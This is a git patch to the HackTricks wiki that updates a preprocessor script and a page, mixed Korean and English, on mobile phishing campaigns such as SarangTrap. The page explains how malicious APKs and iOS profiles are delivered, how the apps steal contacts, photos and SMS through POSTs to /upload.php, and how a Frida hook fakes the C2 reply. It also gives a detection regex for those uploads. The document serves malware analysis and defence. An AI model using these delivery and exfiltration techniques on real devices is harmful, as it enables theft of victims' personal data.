From 29836a0d2756351b11035de9b2b3e42d5881d8e0 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 11:09:48 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/phishing-methodolog --- hacktricks-preprocessor.py | 42 ++- src/SUMMARY.md | 5 +- .../mobile-phishing-malicious-apps.md | 311 +++++++++++++----- .../accessibility-services-abuse.md | 185 ++++++++--- 4 files changed, 397 insertions(+), 146 deletions(-) diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 0165a854a..c525f665d 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR) logger.addHandler(handler2) -def findtitle(search ,obj, key, path=(),): +def findtitle(search, obj, key, path=()): # logger.debug(f"Looking for {search} in {path}") if isinstance(obj, dict) and key in obj and obj[key] == search: return obj, path @@ -54,26 +54,42 @@ def ref(matchobj): if href.endswith("/"): href = href+"README.md" # Fix if ref points to a folder if "#" in href: - chapter, _path = findtitle(href.split("#")[0], book, "source_path") - title = " ".join(href.split("#")[1].split("-")).title() - logger.debug(f'Ref has # using title: {title}') + result = findtitle(href.split("#")[0], book, "source_path") + if result is not None: + chapter, _path = result + title = " ".join(href.split("#")[1].split("-")).title() + logger.debug(f'Ref has # using title: {title}') + else: + raise Exception(f"Chapter not found for path: {href.split('#')[0]}") else: - chapter, _path = findtitle(href, book, "source_path") - logger.debug(f'Recursive title search result: {chapter["name"]}') - title = chapter['name'] + result = findtitle(href, book, "source_path") + if result is not None: + chapter, _path = result + logger.debug(f'Recursive title search result: {chapter["name"]}') + title = chapter['name'] + else: + raise Exception(f"Chapter not found for path: {href}") except Exception as e: dir = path.dirname(current_chapter['source_path']) rel_path = path.normpath(path.join(dir,href)) try: logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}') if "#" in href: - chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") - title = " ".join(href.split("#")[1].split("-")).title() - logger.debug(f'Ref has # using title: {title}') + result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") + if result is not None: + chapter, _path = result + title = " ".join(href.split("#")[1].split("-")).title() + logger.debug(f'Ref has # using title: {title}') + else: + raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}") else: - chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") - title = chapter["name"] - logger.debug(f'Recursive title search result: {chapter["name"]}') + result = findtitle(path.normpath(path.join(dir,href)), book, "source_path") + if result is not None: + chapter, _path = result + title = chapter["name"] + logger.debug(f'Recursive title search result: {chapter["name"]}') + else: + raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}") except Exception as e: logger.debug(e) logger.error(f'Error getting chapter title: {rel_path}') diff --git a/src/SUMMARY.md b/src/SUMMARY.md index d4104d430..abe382dcf 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -768,7 +768,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) +- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -837,8 +837,9 @@ - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md) - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) +- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting.md) # ๐Ÿค– AI - [AI Security](AI/README.md) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md index 4bdb9787b..cb7e92b33 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md @@ -1,67 +1,66 @@ -# ๋ชจ๋ฐ”์ผ ํ”ผ์‹ฑ ๋ฐ ์•…์„ฑ ์•ฑ ๋ฐฐํฌ (์•ˆ๋“œ๋กœ์ด๋“œ ๋ฐ iOS) +# Mobile Phishing & Malicious App Distribution (Android & iOS) {{#include ../../banners/hacktricks-training.md}} > [!INFO] -> ์ด ํŽ˜์ด์ง€๋Š” ์œ„ํ˜‘ ํ–‰์œ„์ž๋“ค์ด ํ”ผ์‹ฑ(SEO, ์†Œ์…œ ์—”์ง€๋‹ˆ์–ด๋ง, ๊ฐ€์งœ ์Šคํ† ์–ด, ๋ฐ์ดํŒ… ์•ฑ ๋“ฑ)์„ ํ†ตํ•ด **์•…์„ฑ ์•ˆ๋“œ๋กœ์ด๋“œ APK** ๋ฐ **iOS ๋ชจ๋ฐ”์ผ ๊ตฌ์„ฑ ํ”„๋กœํ•„**์„ ๋ฐฐํฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•˜๋Š” ๊ธฐ์ˆ ์„ ๋‹ค๋ฃน๋‹ˆ๋‹ค. -> ์ด ์ž๋ฃŒ๋Š” Zimperium zLabs(2025)์— ์˜ํ•ด ํญ๋กœ๋œ SarangTrap ์บ ํŽ˜์ธ๊ณผ ๊ธฐํƒ€ ๊ณต๊ฐœ ์—ฐ๊ตฌ์—์„œ ์ˆ˜์ •๋˜์—ˆ์Šต๋‹ˆ๋‹ค. +> ์ด ํŽ˜์ด์ง€๋Š” ์œ„ํ˜‘ ํ–‰์œ„์ž๋“ค์ด **malicious Android APKs** ๋ฐ **iOS mobile-configuration profiles**์„(๋ฅผ) SEO, social engineering, fake stores, dating apps ๋“ฑ๊ณผ ๊ฐ™์€ phishing์„ ํ†ตํ•ด ๋ฐฐํฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•˜๋Š” ๊ธฐ๋ฒ•๋“ค์„ ๋‹ค๋ฃน๋‹ˆ๋‹ค. ์ž๋ฃŒ๋Š” Zimperium zLabs๊ฐ€ ๊ณต๊ฐœํ•œ SarangTrap ์บ ํŽ˜์ธ (2025) ๋ฐ ๊ธฐํƒ€ ๊ณต๊ฐœ ์—ฐ๊ตฌ๋ฅผ ๋ฐ”ํƒ•์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ## ๊ณต๊ฒฉ ํ๋ฆ„ -1. **SEO/ํ”ผ์‹ฑ ์ธํ”„๋ผ** -* ์œ ์‚ฌ ๋„๋ฉ”์ธ ์ˆ˜์‹ญ ๊ฐœ ๋“ฑ๋ก(๋ฐ์ดํŒ…, ํด๋ผ์šฐ๋“œ ๊ณต์œ , ์ฐจ๋Ÿ‰ ์„œ๋น„์Šค ๋“ฑ). -โ€“ Google์—์„œ ์ˆœ์œ„๋ฅผ ๋งค๊ธฐ๊ธฐ ์œ„ํ•ด `` ์š”์†Œ์— ํ˜„์ง€ ์–ธ์–ด ํ‚ค์›Œ๋“œ์™€ ์ด๋ชจ์ง€๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. -โ€“ *์•ˆ๋“œ๋กœ์ด๋“œ*(`.apk`) ๋ฐ *iOS* ์„ค์น˜ ์ง€์นจ์„ ๋™์ผํ•œ ๋žœ๋”ฉ ํŽ˜์ด์ง€์— ํ˜ธ์ŠคํŒ…ํ•ฉ๋‹ˆ๋‹ค. +1. **SEO/Phishing Infrastructure** +* ์œ ์‚ฌ ๋„๋ฉ”์ธ(๋ฐ์ดํŠธ ์‚ฌ์ดํŠธ, ํด๋ผ์šฐ๋“œ ๊ณต์œ , ์ฐจ๋Ÿ‰ ์„œ๋น„์Šค ๋“ฑ)์„ ์ˆ˜์‹ญ ๊ฐœ ๋“ฑ๋ก. +โ€“ Google์—์„œ ์ˆœ์œ„๋ฅผ ์˜ฌ๋ฆฌ๊ธฐ ์œ„ํ•ด `<title>` ์š”์†Œ์— ์ง€์—ญ ์–ธ์–ด ํ‚ค์›Œ๋“œ์™€ ์ด๋ชจ์ง€ ์‚ฌ์šฉ. +โ€“ ๋™์ผ ๋žœ๋”ฉ ํŽ˜์ด์ง€์— Android (`.apk`) ๋ฐ iOS ์„ค์น˜ ์ง€์นจ์„ ๋ชจ๋‘ ํ˜ธ์ŠคํŒ…. 2. **1๋‹จ๊ณ„ ๋‹ค์šด๋กœ๋“œ** -* ์•ˆ๋“œ๋กœ์ด๋“œ: *์„œ๋ช…๋˜์ง€ ์•Š์€* ๋˜๋Š” โ€œ์ œ3์ž ์Šคํ† ์–ดโ€ APK์— ๋Œ€ํ•œ ์ง์ ‘ ๋งํฌ. -* iOS: ์•…์„ฑ **mobileconfig** ํ”„๋กœํ•„์— ๋Œ€ํ•œ `itms-services://` ๋˜๋Š” ์ผ๋ฐ˜ HTTPS ๋งํฌ(์•„๋ž˜ ์ฐธ์กฐ). -3. **์„ค์น˜ ํ›„ ์†Œ์…œ ์—”์ง€๋‹ˆ์–ด๋ง** -* ์ฒซ ์‹คํ–‰ ์‹œ ์•ฑ์ด **์ดˆ๋Œ€/๊ฒ€์ฆ ์ฝ”๋“œ**๋ฅผ ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค(๋…์  ์ ‘๊ทผ ํ™˜์ƒ). -* ์ฝ”๋“œ๋Š” **HTTP๋กœ POST**๋˜์–ด Command-and-Control (C2)๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค. -* C2๋Š” `{"success":true}`๋กœ ์‘๋‹ต โžœ ์•…์„ฑ์ฝ”๋“œ๊ฐ€ ๊ณ„์† ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. -* ์œ ํšจํ•œ ์ฝ”๋“œ๋ฅผ ์ œ์ถœํ•˜์ง€ ์•Š๋Š” ์ƒŒ๋“œ๋ฐ•์Šค/AV ๋™์  ๋ถ„์„์€ **์•…์„ฑ ํ–‰๋™์ด ์—†์Œ**์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค(ํšŒํ”ผ). -4. **๋Ÿฐํƒ€์ž„ ๊ถŒํ•œ ๋‚จ์šฉ** (์•ˆ๋“œ๋กœ์ด๋“œ) -* ์œ„ํ—˜ํ•œ ๊ถŒํ•œ์€ **๊ธ์ •์ ์ธ C2 ์‘๋‹ต ํ›„์—๋งŒ ์š”์ฒญ**๋ฉ๋‹ˆ๋‹ค: +* Android: *unsigned* ๋˜๋Š” โ€œthird-party storeโ€ APK๋กœ ์—ฐ๊ฒฐ๋˜๋Š” ์ง์ ‘ ๋งํฌ. +* iOS: `itms-services://` ๋˜๋Š” ์ผ๋ฐ˜ HTTPS ๋งํฌ๋กœ ์•…์„ฑ **mobileconfig** ํ”„๋กœํŒŒ์ผ๋กœ ์—ฐ๊ฒฐ. +3. **์„ค์น˜ ํ›„ Social Engineering** +* ์•ฑ์„ ์ฒ˜์Œ ์‹คํ–‰ํ•˜๋ฉด **์ดˆ๋Œ€ / ์ธ์ฆ ์ฝ”๋“œ**๋ฅผ ์š”๊ตฌ(๋…์  ์ ‘๊ทผ์˜ ํ™˜์ƒ). +* ์ฝ”๋“œ๋Š” Command-and-Control (C2)๋กœ **HTTP๋ฅผ ํ†ตํ•œ POST**๋กœ ์ „์†ก๋œ๋‹ค. +* C2๊ฐ€ `{"success":true}`๋กœ ์‘๋‹ต โžœ malware๊ฐ€ ๊ณ„์† ์ž‘๋™. +* ์œ ํšจํ•œ ์ฝ”๋“œ๋ฅผ ์ œ์ถœํ•˜์ง€ ์•Š๋Š” Sandbox / AV dynamic analysis๋Š” **no malicious behaviour**๋ฅผ ๊ด€์ฐฐ(ํšŒํ”ผ). +4. **๋Ÿฐํƒ€์ž„ ๊ถŒํ•œ ๋‚จ์šฉ (Android)** +* ์œ„ํ—˜ ๊ถŒํ•œ์€ ๊ธ์ •์ ์ธ C2 ์‘๋‹ต ํ›„์—๋งŒ ์š”์ฒญ๋œ๋‹ค: ```xml <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> -<!-- ์ด์ „ ๋นŒ๋“œ๋Š” SMS ๊ถŒํ•œ๋„ ์š”์ฒญํ–ˆ์Šต๋‹ˆ๋‹ค --> +<!-- Older builds also asked for SMS permissions --> ``` -* ์ตœ๊ทผ ๋ณ€์ข…์€ `AndroidManifest.xml`์—์„œ SMS์— ๋Œ€ํ•œ `<uses-permission>`์„ **์ œ๊ฑฐ**ํ•˜์ง€๋งŒ, SMS๋ฅผ ๋ฆฌํ”Œ๋ ‰์…˜์„ ํ†ตํ•ด ์ฝ๋Š” Java/Kotlin ์ฝ”๋“œ ๊ฒฝ๋กœ๋Š” ๋‚จ๊ฒจ๋‘ก๋‹ˆ๋‹ค โ‡’ `AppOps` ๋‚จ์šฉ์ด๋‚˜ ์ด์ „ ํƒ€๊ฒŸ์„ ํ†ตํ•ด ๊ถŒํ•œ์„ ๋ถ€์—ฌ๋ฐ›๋Š” ์žฅ์น˜์—์„œ ์—ฌ์ „ํžˆ ๊ธฐ๋Šฅ์ ์ž…๋‹ˆ๋‹ค. -5. **ํŽ˜์‚ฌ๋“œ UI ๋ฐ ๋ฐฑ๊ทธ๋ผ์šด๋“œ ์ˆ˜์ง‘** -* ์•ฑ์€ ๋กœ์ปฌ์—์„œ ๊ตฌํ˜„๋œ ๋ฌดํ•ดํ•œ ๋ทฐ(SMS ๋ทฐ์–ด, ๊ฐค๋Ÿฌ๋ฆฌ ์„ ํƒ๊ธฐ)๋ฅผ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค. -* ๋™์‹œ์— ๋‹ค์Œ์„ ์œ ์ถœํ•ฉ๋‹ˆ๋‹ค: +* ์ตœ๊ทผ ๋ณ€์ข…์€ `AndroidManifest.xml`์—์„œ SMS ๊ด€๋ จ `<uses-permission>`๋ฅผ ์ œ๊ฑฐํ•˜์ง€๋งŒ Java/Kotlin ์ฝ”๋“œ ๊ฒฝ๋กœ๋Š” reflection์„ ํ†ตํ•ด SMS๋ฅผ ์ฝ๋Š” ์ฝ”๋“œ๋ฅผ ๋‚จ๊ฒจ๋‘  โ‡’ ์ •์  ํ‰์ ์€ ๋‚ฎ์•„์ง€์ง€๋งŒ `AppOps` ์˜ค์šฉ์ด๋‚˜ ์˜ค๋ž˜๋œ ํƒ€๊นƒ์—์„œ ๊ถŒํ•œ์ด ํ—ˆ์šฉ๋œ ๊ธฐ๊ธฐ์—์„œ๋Š” ์—ฌ์ „ํžˆ ๋™์ž‘. +5. **๊ฒ‰๋ณด๊ธฐ UI ๋ฐ ๋ฐฑ๊ทธ๋ผ์šด๋“œ ์ˆ˜์ง‘** +* ์•ฑ์€ ๋กœ์ปฌ๋กœ ๊ตฌํ˜„๋œ ๋ฌดํ•ดํ•œ ๋ทฐ(SMS viewer, gallery picker)๋ฅผ ํ‘œ์‹œ. +* ๋™์‹œ์— ๋‹ค์Œ์„ ์œ ์ถœ/์ˆ˜์ง‘: - IMEI / IMSI, ์ „ํ™”๋ฒˆํ˜ธ - ์ „์ฒด `ContactsContract` ๋คํ”„ (JSON ๋ฐฐ์—ด) -- ํฌ๊ธฐ๋ฅผ ์ค„์ด๊ธฐ ์œ„ํ•ด [Luban](https://github.com/Curzibn/Luban)์œผ๋กœ ์••์ถ•๋œ `/sdcard/DCIM`์˜ JPEG/PNG +- `/sdcard/DCIM`์˜ JPEG/PNG๋ฅผ [Luban](https://github.com/Curzibn/Luban)์œผ๋กœ ์••์ถ•ํ•˜์—ฌ ํฌ๊ธฐ ์ถ•์†Œ - ์„ ํƒ์  SMS ๋‚ด์šฉ (`content://sms`) -ํŽ˜์ด๋กœ๋“œ๋Š” **๋ฐฐ์น˜ ์••์ถ•**๋˜์–ด `HTTP POST /upload.php`๋ฅผ ํ†ตํ•ด ์ „์†ก๋ฉ๋‹ˆ๋‹ค. -6. **iOS ๋ฐฐํฌ ๊ธฐ์ˆ ** -* ๋‹จ์ผ **๋ชจ๋ฐ”์ผ ๊ตฌ์„ฑ ํ”„๋กœํ•„**์ด `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` ๋“ฑ์„ ์š”์ฒญํ•˜์—ฌ ์žฅ์น˜๋ฅผ โ€œMDMโ€-์œ ์‚ฌ ๊ฐ๋…์— ๋“ฑ๋กํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -* ์†Œ์…œ ์—”์ง€๋‹ˆ์–ด๋ง ์ง€์นจ: -1. ์„ค์ • ์—ด๊ธฐ โžœ *ํ”„๋กœํ•„ ๋‹ค์šด๋กœ๋“œ๋จ*. -2. *์„ค์น˜*๋ฅผ ์„ธ ๋ฒˆ ํƒญํ•ฉ๋‹ˆ๋‹ค(ํ”ผ์‹ฑ ํŽ˜์ด์ง€์˜ ์Šคํฌ๋ฆฐ์ƒท). -3. ์„œ๋ช…๋˜์ง€ ์•Š์€ ํ”„๋กœํ•„์„ ์‹ ๋ขฐํ•ฉ๋‹ˆ๋‹ค โžœ ๊ณต๊ฒฉ์ž๊ฐ€ *์—ฐ๋ฝ์ฒ˜* ๋ฐ *์‚ฌ์ง„* ๊ถŒํ•œ์„ App Store ๊ฒ€ํ†  ์—†์ด ํš๋“ํ•ฉ๋‹ˆ๋‹ค. -7. **๋„คํŠธ์›Œํฌ ๋ ˆ์ด์–ด** -* ์ผ๋ฐ˜ HTTP, ์ข…์ข… ํฌํŠธ 80์—์„œ `api.<phishingdomain>.com`๊ณผ ๊ฐ™์€ HOST ํ—ค๋”๋กœ. -* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (TLS ์—†์Œ โ†’ ์‰ฝ๊ฒŒ ํƒ์ง€ ๊ฐ€๋Šฅ). +ํŽ˜์ด๋กœ๋“œ๋Š” **batch-zipped**๋˜์–ด `HTTP POST /upload.php`๋กœ ์ „์†ก. +6. **iOS ์ „๋‹ฌ ๊ธฐ๋ฒ•** +* ๋‹จ์ผ **mobile-configuration profile**์ด `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` ๋“ฑ์œผ๋กœ ๊ธฐ๊ธฐ๋ฅผ โ€œMDMโ€-์œ ์‚ฌ ๊ฐ๋…์— ๋“ฑ๋กํ•  ์ˆ˜ ์žˆ์Œ. +* Social-engineering ์ง€์นจ: +1. Open Settings โžœ *Profile downloaded*. +2. Tap *Install* three times (์Šคํฌ๋ฆฐ์ƒท์€ ํ”ผ์‹ฑ ํŽ˜์ด์ง€ ์ฐธ์กฐ). +3. Trust the unsigned profile โžœ ๊ณต๊ฒฉ์ž๊ฐ€ App Store ๊ฒ€ํ†  ์—†์ด *Contacts* ๋ฐ *Photo* ๊ถŒํ•œ ํš๋“. +7. **๋„คํŠธ์›Œํฌ ๊ณ„์ธต** +* Plain HTTP, ์ข…์ข… ํฌํŠธ 80์—์„œ HOST ํ—ค๋” ์˜ˆ: `api.<phishingdomain>.com`. +* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (no TLS โ†’ ํƒ์ง€ ์‰ฌ์›€). -## ๋ฐฉ์–ด ํ…Œ์ŠคํŠธ / ๋ ˆ๋“œํŒ€ ํŒ +## Defensive Testing / Red-Team Tips -* **๋™์  ๋ถ„์„ ์šฐํšŒ** โ€“ ์•…์„ฑ์ฝ”๋“œ ํ‰๊ฐ€ ์ค‘ Frida/Objection์„ ์‚ฌ์šฉํ•˜์—ฌ ์ดˆ๋Œ€ ์ฝ”๋“œ ๋‹จ๊ณ„๋ฅผ ์ž๋™ํ™”ํ•˜์—ฌ ์•…์„ฑ ๋ถ„๊ธฐ๋กœ ๋„๋‹ฌํ•ฉ๋‹ˆ๋‹ค. -* **๋งค๋‹ˆํŽ˜์ŠคํŠธ vs. ๋Ÿฐํƒ€์ž„ ์ฐจ์ด** โ€“ `aapt dump permissions`์™€ ๋Ÿฐํƒ€์ž„ `PackageManager#getRequestedPermissions()`๋ฅผ ๋น„๊ตํ•ฉ๋‹ˆ๋‹ค; ์œ„ํ—˜ํ•œ ๊ถŒํ•œ์ด ๋ˆ„๋ฝ๋œ ๊ฒฝ์šฐ ๊ฒฝ๊ณ  ์‹ ํ˜ธ์ž…๋‹ˆ๋‹ค. -* **๋„คํŠธ์›Œํฌ ์นด๋‚˜๋ฆฌ** โ€“ ์ฝ”๋“œ ์ž…๋ ฅ ํ›„ ๋ถˆ์•ˆ์ •ํ•œ POST ํญ์ฃผ๋ฅผ ๊ฐ์ง€ํ•˜๊ธฐ ์œ„ํ•ด `iptables -p tcp --dport 80 -j NFQUEUE`๋ฅผ ๊ตฌ์„ฑํ•ฉ๋‹ˆ๋‹ค. -* **mobileconfig ๊ฒ€์‚ฌ** โ€“ macOS์—์„œ `security cms -D -i profile.mobileconfig`๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ `PayloadContent`๋ฅผ ๋‚˜์—ดํ•˜๊ณ  ๊ณผ๋„ํ•œ ๊ถŒํ•œ์„ ์ฐพ์•„๋ƒ…๋‹ˆ๋‹ค. +* **Dynamic Analysis Bypass** โ€“ malware ํ‰๊ฐ€ ์ค‘ Frida/Objection์œผ๋กœ ์ดˆ๋Œ€ ์ฝ”๋“œ ๋‹จ๊ณ„๋ฅผ ์ž๋™ํ™”ํ•ด ์•…์„ฑ ๋ถ„๊ธฐ๋กœ ๋„๋‹ฌ. +* **Manifest vs. Runtime Diff** โ€“ `aapt dump permissions`์™€ ๋Ÿฐํƒ€์ž„ `PackageManager#getRequestedPermissions()`๋ฅผ ๋น„๊ต; ์œ„ํ—˜ ๊ถŒํ•œ์ด ๋ˆ„๋ฝ๋œ ๊ฒฝ์šฐ ๊ฒฝ๊ณ  ์‹ ํ˜ธ. +* **Network Canary** โ€“ ์ฝ”๋“œ ์ž…๋ ฅ ํ›„ ๋น„์ •์ƒ์ ์ธ POST ๊ธ‰์ฆ์„ ํƒ์ง€ํ•˜๊ธฐ ์œ„ํ•ด `iptables -p tcp --dport 80 -j NFQUEUE` ๊ตฌ์„ฑ. +* **mobileconfig Inspection** โ€“ macOS์—์„œ `security cms -D -i profile.mobileconfig`๋ฅผ ์‚ฌ์šฉํ•ด `PayloadContent`๋ฅผ ๋‚˜์—ดํ•˜๊ณ  ๊ณผ๋„ํ•œ ๊ถŒํ•œ ์š”์ฒญ์„ ์‹๋ณ„. -## ๋ธ”๋ฃจํŒ€ ํƒ์ง€ ์•„์ด๋””์–ด +## Blue-Team Detection Ideas -* **์ธ์ฆ์„œ ํˆฌ๋ช…์„ฑ / DNS ๋ถ„์„**์„ ํ†ตํ•ด ํ‚ค์›Œ๋“œ๊ฐ€ ํ’๋ถ€ํ•œ ๋„๋ฉ”์ธ์˜ ๊ฐ‘์ž‘์Šค๋Ÿฌ์šด ํญ์ฃผ๋ฅผ ํฌ์ฐฉํ•ฉ๋‹ˆ๋‹ค. -* **User-Agent ๋ฐ ๊ฒฝ๋กœ ์ •๊ทœ ํ‘œํ˜„์‹**: `(?i)POST\s+/(check|upload)\.php`๋ฅผ Google Play ์™ธ๋ถ€์˜ Dalvik ํด๋ผ์ด์–ธํŠธ์—์„œ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. -* **์ดˆ๋Œ€ ์ฝ”๋“œ ํ…”๋ ˆ๋ฉ”ํŠธ๋ฆฌ** โ€“ APK ์„ค์น˜ ์งํ›„ 6โ€“8์ž๋ฆฌ ์ˆซ์ž ์ฝ”๋“œ์˜ POST๋Š” ์Šคํ…Œ์ด์ง•์„ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -* **MobileConfig ์„œ๋ช…** โ€“ MDM ์ •์ฑ…์„ ํ†ตํ•ด ์„œ๋ช…๋˜์ง€ ์•Š์€ ๊ตฌ์„ฑ ํ”„๋กœํ•„์„ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค. +* **Certificate Transparency / DNS Analytics**๋กœ ํ‚ค์›Œ๋“œ๊ฐ€ ํ’๋ถ€ํ•œ ๋„๋ฉ”์ธ์˜ ๊ฐ‘์ž‘์Šค๋Ÿฐ ์ƒ์„ฑ ํญ์ฆ ํฌ์ฐฉ. +* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` โ€” Google Play ์™ธ๋ถ€์˜ Dalvik ํด๋ผ์ด์–ธํŠธ์—์„œ ์˜ค๋Š” ์š”์ฒญ์„ ๊ฐ์ง€. +* **Invite-code Telemetry** โ€“ APK ์„ค์น˜ ์งํ›„ 6โ€“8์ž๋ฆฌ ์ˆซ์ž ์ฝ”๋“œ์˜ POST๋Š” ์Šคํ…Œ์ด์ง• ๊ฐ€๋Šฅ์„ฑ ์‹œ์‚ฌ. +* **MobileConfig Signing** โ€“ MDM ์ •์ฑ…์„ ํ†ตํ•ด ์„œ๋ช…๋˜์ง€ ์•Š์€ configuration profiles ์ฐจ๋‹จ. -## ์œ ์šฉํ•œ Frida ์Šค๋‹ˆํŽซ: ์ดˆ๋Œ€ ์ฝ”๋“œ ์ž๋™ ์šฐํšŒ +## Useful Frida Snippet: Auto-Bypass Invitation Code ```python # frida -U -f com.badapp.android -l bypass.js --no-pause # Hook HttpURLConnection write to always return success @@ -88,30 +87,30 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex ``` --- -## Android WebView ๊ฒฐ์ œ ํ”ผ์‹ฑ (UPI) โ€“ ๋“œ๋กœํผ + FCM C2 ํŒจํ„ด +## Android WebView Payment Phishing (UPI) โ€“ Dropper + FCM C2 ํŒจํ„ด -์ด ํŒจํ„ด์€ ์ธ๋„ UPI ์ž๊ฒฉ ์ฆ๋ช…๊ณผ OTP๋ฅผ ํ›”์น˜๊ธฐ ์œ„ํ•ด ์ •๋ถ€ ํ˜œํƒ ํ…Œ๋งˆ๋ฅผ ์•…์šฉํ•˜๋Š” ์บ ํŽ˜์ธ์—์„œ ๊ด€์ฐฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์šด์˜์ž๋Š” ๋ฐฐ๋‹ฌ๊ณผ ๋ณต์›๋ ฅ์„ ์œ„ํ•ด ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ํ”Œ๋žซํผ์„ ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค. +์ด ํŒจํ„ด์€ ์ •๋ถ€ ํ˜œํƒ ํ…Œ๋งˆ๋ฅผ ์•…์šฉํ•ด ์ธ๋„ UPI ์ž๊ฒฉ ์ฆ๋ช…๊ณผ OTP๋ฅผ ํƒˆ์ทจํ•˜๋Š” ์บ ํŽ˜์ธ์—์„œ ๊ด€์ฐฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์šด์˜์ž๋“ค์€ ์ „๋‹ฌ์„ฑ๊ณผ ๋ณต์›๋ ฅ์„ ์œ„ํ•ด ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ํ”Œ๋žซํผ๋“ค์„ ์—ฐ๊ณ„ํ•ฉ๋‹ˆ๋‹ค. -### ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ํ”Œ๋žซํผ์„ ํ†ตํ•œ ๋ฐฐ๋‹ฌ ์ฒด์ธ -- YouTube ๋น„๋””์˜ค ์œ ์ธ โ†’ ์„ค๋ช…์— ์งง์€ ๋งํฌ ํฌํ•จ -- ์งง์€ ๋งํฌ โ†’ ํ•ฉ๋ฒ•์ ์ธ ํฌํ„ธ์„ ๋ชจ๋ฐฉํ•œ GitHub Pages ํ”ผ์‹ฑ ์‚ฌ์ดํŠธ -- ๋™์ผํ•œ GitHub ๋ฆฌํฌ์ง€ํ† ๋ฆฌ๋Š” ํŒŒ์ผ์— ์ง์ ‘ ์—ฐ๊ฒฐ๋œ ๊ฐ€์งœ โ€œGoogle Playโ€ ๋ฐฐ์ง€๋ฅผ ๊ฐ€์ง„ APK๋ฅผ ํ˜ธ์ŠคํŒ… -- ๋™์  ํ”ผ์‹ฑ ํŽ˜์ด์ง€๋Š” Replit์—์„œ ์šด์˜; ์›๊ฒฉ ๋ช…๋ น ์ฑ„๋„์€ Firebase Cloud Messaging (FCM)์„ ์‚ฌ์šฉ +### Delivery chain across trusted platforms +- YouTube video lure โ†’ description contains a short link +- Shortlink โ†’ GitHub Pages phishing site imitating the legit portal +- Same GitHub repo hosts an APK with a fake โ€œGoogle Playโ€ badge linking directly to the file +- Dynamic phishing pages live on Replit; remote command channel uses Firebase Cloud Messaging (FCM) -### ์ž„๋ฒ ๋””๋“œ ํŽ˜์ด๋กœ๋“œ์™€ ์˜คํ”„๋ผ์ธ ์„ค์น˜๊ฐ€ ํฌํ•จ๋œ ๋“œ๋กœํผ -- ์ฒซ ๋ฒˆ์งธ APK๋Š” ์‹ค์ œ 